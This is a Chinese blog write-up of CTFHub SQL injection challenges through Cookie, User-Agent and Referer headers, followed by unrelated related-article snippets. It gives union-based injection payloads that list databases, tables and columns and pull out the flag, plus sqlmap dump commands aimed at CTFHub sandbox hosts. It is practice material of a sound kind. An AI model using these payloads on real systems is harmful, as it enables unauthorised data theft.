CTFHub(web sql)(四)

Cookie注入

  Cookie 注入的原理也和其他注入一样,只不过是将提交的参数已 Cookie 方式提交,而一般的注入是使用 GET 或者 POST 方式提交,GET 方式提交就是直接在网址后面加上需要注入的语句,POST 方式则是通过表单,GET 和 POST 的不同之处就在于可以通过 IE 地址栏处看到我们提交的参数,而 Cookie 注入却不能。

cookie注入原理详解(一) - tooltime - 博客园 (cnblogs.com)

bp修改

打开网址,使用bp抓包,并发送到重放器

对Cooike:位置后的内容进行修改

1.判断列名

Cookie: id=1 order by 1,2;

2.判断其注入点

使用union select

cookie:id=1 union select 1,2;

3.开始爆库

知道注入点在2上

Cookie: id=-1 union select 1,database();

4.爆表

得到数据库库名为sqli

Cookie: id=-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1);

vfdozendrn

5.爆字段名

得知表名为vfdozendrn

Cookie: id=-1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='vfdozendrn' limit 0,1);

faxqgkdawi

6.爆字段的内容

知道字段名为 faxqgkdawi

Cookie: id=-1 union select 1,group_concat(faxqgkdawi) from vfdozendrn;

得到flag

hackbar

使用hackbar工具,选择Cooikes

1.找到注入点

id=1 and 1 = 1 #

2.判断列数

id=1 order by 2 #

id=1 order by 3 #

3.查数据库名

id=0 union select 1,database()#

4.查表名

id=0 union select database(),group_concat(table_name) from information_schema.tables where table_schema='sqli' #

查找得到两个数据表vfdozendrn,news

5.查列名

 id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='news' #

查询表vfdozendrn中的内容

id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='vfdozendrn' #

得到字段名faxqgkdawi

6.查字段 

id=0 union select 1,group_concat(vfdozendrn) from sqli.faxqgkdawi # ​​​

得到flag

sqlmap

http://challenge-29b4e435702d0e45.sandbox.ctfhub.com:10800

爆库名

sqlmap -u http://challenge-29b4e435702d0e45.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2 --dbs  --batch

爆表名

sqlmap -u http://challenge-29b4e435702d0e45.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2  -D sqli --tables --batch

vfdozendrn

爆列名

sqlmap -u http://challenge-29b4e435702d0e45.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2 -D sqli -T vfdozendrn --columns --batch

faxqgkdawi

爆数据

sqlmap -u http://challenge-29b4e435702d0e45.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2 -D sqli -T vfdozendrn -C faxqgkdawi --dump --batch

CTFHUB-技能树-Web前置技能-SQL注入-Mysql结构-Cookie注入-CSDN博客

ctfhub sql注入之cookie注入-CSDN博客

UA注入

CTFHub | UA注入_ctfhub ua注入-CSDN博客

就是User-Agent的缩写,中文名为用户代理,是Http协议中的一部分,属于头域的组成部分,它是一个特殊字符串头,是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。通过这个标识,用户所访问的网站可以显示不同的排版从而为用户提供更好的体验或者进行信息统计。
 

手工注入

1.bp抓包

直接使用burp suite抓包工具抓取题目网站的信息

2.判断注入方式

题目已经告诉我们输入点在UA中,直接在UA中使用'1 and 1 = 1'进行测试

继续在UA请求头中使用'1 and 1 = 2'进行测试,发现此题存在UA注入

3. 判断字段数量

使用order by

从order by 1开始

1 order by 1

判断字段2,使用order by 2

判断字段3,使用order by 3,

这里无回显,那么字段数量为2列

4.查看数据库位置

使用union select 1,2查看未发现数据

1 union select 1,2

判断数据可能不存在数据库中,将1改为0查看数据,其他符号也可以

0 union select 1,2

5.查看数据库版本

修改2为version()

0 union select 1,version()

发现数据库版本为MariaDB 10.3.22

6.查看数据库名

修改2为database()

0 union select 1,database()

发现数据库版本为sqli

查看全部数据库名

0 union select 1,group_concat(schema_name)from information_schema.schemata

7.查看表名

在全部数据库名中发现sqli,最后在sqli数据库中发现zdebjmphat和news两个表名

0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

zdebjmphat   

8.查看列名

先查看zdebjmphat表中的全部字段名,发现一个数据名为htgdqscwhc

0 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='zdebjmphat'

htgdqscwhc

9.查看字段

查看数据htgdqscwhc中的内容,发现此题flag

0 union select 1,group_concat(htgdqscwhc) from sqli.zdebjmphat

sqlmap

Sqlmap全参数详解 - 狼人:-) - 博客园 (cnblogs.com)

sqlmap支持五种不同的注入模式:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入

CTFHUB-技能树-Web前置技能-SQL注入-Mysql结构-UA注入-CSDN博客

UA注入 需要用到leve 3

http://challenge-cf89ab126dc80c6b.sandbox.ctfhub.com:10800

1.爆数据库

sqlmap -u http://challenge-cf89ab126dc80c6b.sandbox.ctfhub.com:10800/ -level 3 --dbs --batch

2.爆表名

sqlmap -u http://challenge-cf89ab126dc80c6b.sandbox.ctfhub.com:10800/ --level 3 -D sqli --tables

zdebjmphat

3.爆字段

sqlmap -u http://challenge-cf89ab126dc80c6b.sandbox.ctfhub.com:10800/ --level 3 -D sqli -T zdebjmphat --columns

4.脱库

sqlmap -u http://challenge-cf89ab126dc80c6b.sandbox.ctfhub.com:10800/ --level 3 -D sqli -T zdebjmphat -C htgdqscwhc --dump

看大佬题解时,大佬提到了这个问题:

Refer注入

CTFHub - Refer注入-CSDN博客

CTFHub | Refer注入_ctfhub的refer注入-CSDN博客

[CTFhub]CTFhub技能树SQL注入——Refer注入-CSDN博客

bp注入

抓包

使用bp抓包,发送到重放器

抓到的信息中没有Refer请求,那么可以直接写入Refer请求进行测试

放包后,使用hackbar传入id=1

Referer字段通常用于告诉服务器请求的来源,即用户是通过哪个页面或链接访问当前页面的。    需要向页面发送一个请求后,才会带上Reder字段。

传参的同时进行抓包

判断注入类型

referer:1

页面存在回显,可以使用联合查询。

referer:1'

页面不存在回显。

referer:1 and 1=1

页面存在回显

referer:1 and 1=2

页面不存在回显。可判断此处是数字型注入

判断回显位置

select 语句有几列那么需要输入几列。Sqli 中有两列,所以输入1和2,判断数字的回显位置。

referer: 1 union select 1,2

判断数据可能不存在数据库中,将1改为0查看数据,其他符号也可以

referer: -1 union select 1,2

获取数据库

把第1列换成了version()版本号,2换成了database() 数据库名称

-1 union select version(),database()

可得知数据库为:sqli

获取数据表

补充:

group_concat(列或表达式):函数将指定的列或表达式的值按照默认的逗号分隔符连接起来,并返回一个合并的字符串作为结果。

        information_schema:关系型数据库中,包括 MySQL、PostgreSQL等,存在一个系统数据库叫做 "information_schema",它存储了关于数据库中元数据(metadata)的信息。

        information_schema:是 information_schema 数据库中的一个表,用于存储关于数据库中所有表的信息,例:表名、所属数据库、表类型、创建时间等。

        table_schema=database() :table_schema表示要筛选的表的模式(也就是数据库的名称),而database()是MySQL内置函数,返回当前连接的数据库名称。

-1 union select version(),group_concat(table_name)from information_schema.tables where table_schema=database()

库中存在两个表,分别为:kyqdxfnkmp,news

获取列名

-1 union select version(),group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='kyqdxfnkmp'

kyqdxfnkmp库中的列名为:ttzqiiunct

获取数据

-1 union select version(),ttzqiiunct from kyqdxfnkmp

或者

-1 union select 1,group_concat(ttzqiiunct) from sqli.kyqdxfnkmp

得到flag

sqlmap

CTFHub——技能树——SQL注入(sqlmap)-CSDN博客

sqlmap使用:ctfhub靶场查询SQL注入+查询Cookie注入+查询UA注入+Refer注入_sqlmap flag 查表-CSDN博客

关于此题如何使用sqlmap,做了很多尝试,仍然无法解出。

网址

http://challenge-16d8adb4f3e8663f.sandbox.ctfhub.com:10800

sqlmap -u http://challenge-16d8adb4f3e8663f.sandbox.ctfhub.com:10800/ -level 3 --dbs --batch

python sqlmap.py -u http://challenge-16d8adb4f3e8663f.sandbox.ctfhub.com:10800 -level 3

sqlmap -r "refer.txt" -level 3 --current-db --batch (sqli)

CTFhub  Web  SQL注入 篇至此结束

感谢在茫茫的互联网电子荒原中,你浏览到这几篇赛博垃圾。博客内容较为粗糙劣质,诸位大佬,如有高见,还请斧正,直说无妨。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/2883.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

feign整合sentinel做降级知识点

1&#xff0c;配置依赖 <!-- Feign远程调用依赖 --><dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-starter-openfeign</artifactId></dependency> <!--sentinel--><dependency>…

【数据结构(邓俊辉)学习笔记】向量04——有序向量

文章目录 0.概述1.比较器2.有序性甄别3.唯一化3.1低效算法3.1.1实现3.1.2 复杂度3.1.3 改进思路3.2 高效算法3.2.1 实现3.2.2 复杂度 4.查找4.1统一接口4.2 语义定义4.3 二分查找4.3.1 原理4.3.2 实现4.3.3 复杂度4.3.4 查找长度4.3.5 不足 4.4 Fibonacci查找4.4.1 思路及原理4…

【03-掌握Scikit-learn:深入机器学习的实用技术】

文章目录 前言数据预处理缺失值处理数据缩放特征选择模型训练参数调整模型评估总结前言 经过了对Python和Scikit-learn的基础安装及简单应用,我们现在将更深入地探究Scikit-learn的实用技术,以进一步提升我们的数据科学技能。在本文中,我们将涵盖数据预处理、特征选择、模型…

Qt中的 tableView 设置 二进制 十六进制 序号表头

二 进制序号 因为QTableView的垂直表头并不支持使用委托来自定义。 相反&#xff0c;可以通过将自定义的QWidget作为QHeaderView的标签来实现这一目标。 代码&#xff1a; #include <QApplication> #include <QMainWindow> #include <QVBoxLayout> #include …

企业微信hook接口协议,根据手机号搜索联系人

根据手机号搜索联系人 参数名必选类型说明uuid是String每个实例的唯一标识&#xff0c;根据uuid操作具体企业微信 请求示例 {"uuid":"3240fde0-45e2-48c0-90e8-cb098d0ebe43","phoneNumber":"1357xxxx" } 返回示例 {"data&q…

opencv可视化图片-----c++

可视化图片 #include <opencv2/opencv.hpp> #include <opencv2/core.hpp> #include <filesystem>// 将数据类型转换为字符串 std::string opencvTool::type2str(int type) {std::string r;uchar depth type & CV_MAT_DEPTH_MASK;uchar chans 1 (typ…

rust是否可以用于8051单片机开发工作?

目前&#xff0c;Rust 在嵌入式领域的发展主要集中在一些常见的架构上&#xff0c;如ARM Cortex-M&#xff08;包括STM32系列&#xff09;、RISC-V等。我这里有一套嵌入式入门教程&#xff0c;不仅包含了详细的视频 讲解&#xff0c;项目实战。如果你渴望学习嵌入式&#xff0c…

递归、搜索与回溯算法:FloodFill 算法

例题一 算法思路&#xff1a; 可以利⽤「深搜」或者「宽搜」&#xff0c;遍历到与该点相连的所有「像素相同的点」&#xff0c;然后将其修改成指定的像素即可。 全局变量&#xff1a; int dx[4] { 0,0,1,-1 }, dy[4] { 1,-1,0,0 }; int m, n; int precolor;//记录原先的颜色…

debian和ubuntu的核心系统和系统命令的区别

Debian和Ubuntu虽然有很深的渊源&#xff0c;都是基于Debian的发行版&#xff0c;但它们在核心系统和系统命令上还是有一些差别的。以下是一些主要的不同之处&#xff1a; 1. 发布周期&#xff1a; - Debian&#xff1a; Debian项目采用滚动发布模型&#xff0c;持续更新&a…

CCF区块链会议--Middleware 2024 截止5.24 附录用率

会议名称&#xff1a;Middleware CCF等级&#xff1a;CCF B类会议 类别&#xff1a;软件工程/系统软件/程序设计语言 录用率&#xff1a;2022年录用率38%&#xff08;8/21&#xff09; Topics of Interest The Middleware conference seeks original submissions of resear…

【Linux网络】Linux网络设置

如果你不会网络设置&#xff0c;就好比自己的拖鞋被硬控了&#xff0c;导致自己无法下床 目录 一、网络配置 1.1 主要配置网络的配置项 1.2 ifconfig——查看网卡配置 1.3 route——路由 1.4 hostname——主机名 1.5 ss——查看网络链接状态 1.6 scp——远程拷贝 1.7 …

<网络> HTTP

目录 前言&#xff1a; 一、再谈协议 &#xff08;一&#xff09;认识URL &#xff08;二&#xff09;Encode 和 Decode 二、HTTP 协议 &#xff08;一&#xff09;协议格式 &#xff08;二&#xff09;见一见请求 &#xff08;三&#xff09;见一见响应 三、模拟实现响…

百度安全多篇议题入选Blackhat Asia以硬技术发现“芯”问题

Blackhat Asia 2024于4月中旬在新加坡隆重举行。此次大会聚集了业界最杰出的信息安全专业人士和研究者&#xff0c;为参会人员提供了安全领域最新的研究成果和发展趋势。在本次大会上&#xff0c;百度安全共有三篇技术议题被大会收录&#xff0c;主要围绕自动驾驶控制器安全、跨…

nvm的简介、安装、使用

一、nvm是什么&#xff1f; nvm是一个node的版本管理工具&#xff0c;可以简单操作node版本的切换、安装、查看。。。等等&#xff0c;与npm不同的是&#xff0c;npm是依赖包的管理工具。 二、nvm的安装。 2.1 nvm下载 安装包下载地址&#xff1a;https://github.com/coreyb…

共享单车(二):项目日志

stdin, stdout, stderr Linux系统下&#xff0c;当一个用户进程被创建时&#xff0c;与之对应的三个数据流&#xff08;stdin&#xff0c;stdout和stderr&#xff0c;即三个文件&#xff09;也会被创建。 stdin&#xff0c;标准输入文件&#xff0c;通常对应着终端的键盘。 s…

【C语言 |预处理指令】预处理指令详解(包括编译与链接)

目录 一、编译与链接 1.翻译环境 -预处理 -编译 -汇编 -链接 2.执行环境 二、预定义符号 三、#define定义常量 四、#define定义宏 五、带有副作用的宏参数 六、宏替换的规则 七、 宏函数的对比 八、#和## 1.#运算符 2.##运算符 九、命名约定 十、#undef 十一、 命…

IDEA本地将镜像推送到coding制品仓库

创建制品仓库 假设仓库名称为docker 在IDEA 添加Docker 注册表 IDEA必须先安装docker插件 地址 用户名和密码就是coding的登录名和密码服务器 最好本地安装docker桌面版&#xff0c;更容易操作 测试连接成功 推送镜像到coding的docker制品仓库 选中某个镜像 鼠标右键 注册表…

四.RocketMQ的几种消息发送方式应用

RocketMQ的几种消息发送方式应用 一&#xff1a;普通消息1&#xff09;发送同步消息2&#xff09;发送异步消息3&#xff09;单向发送消息4&#xff09;消费消息-负载均衡模式5&#xff09;消费消息-广播模式 二&#xff1a;顺序消息1.顺序消息指的是:严格按照消息的发送顺序进…

服务器数据恢复—ESXi无法识别数据存储和VMFS文件系统如何恢复数据?

服务器数据恢复环境&#xff1a; 一台某品牌服务器&#xff0c;通过FreeNAS来做iSCSI&#xff0c;然后使用两台同品牌服务器做ESXi虚拟化系统。 FreeNAS层为UFS2文件系统&#xff0c;使用整个存储建一个稀疏模式的文件&#xff0c;挂载到ESXi虚拟化系统。ESXi虚拟化系统中有3台…

react实现时钟翻牌效果

需求&#xff1a;随着数字的变动要求有时钟翻动动效 问题&#xff1a;只在加载时有动效 解决方案&#xff1a;通过判断数字改变&#xff08;这里通过新旧数值变动来判断&#xff0c;不贴代码啦&#xff09;&#xff0c;每次变动的时候手动把animationIterationCount设置为inf…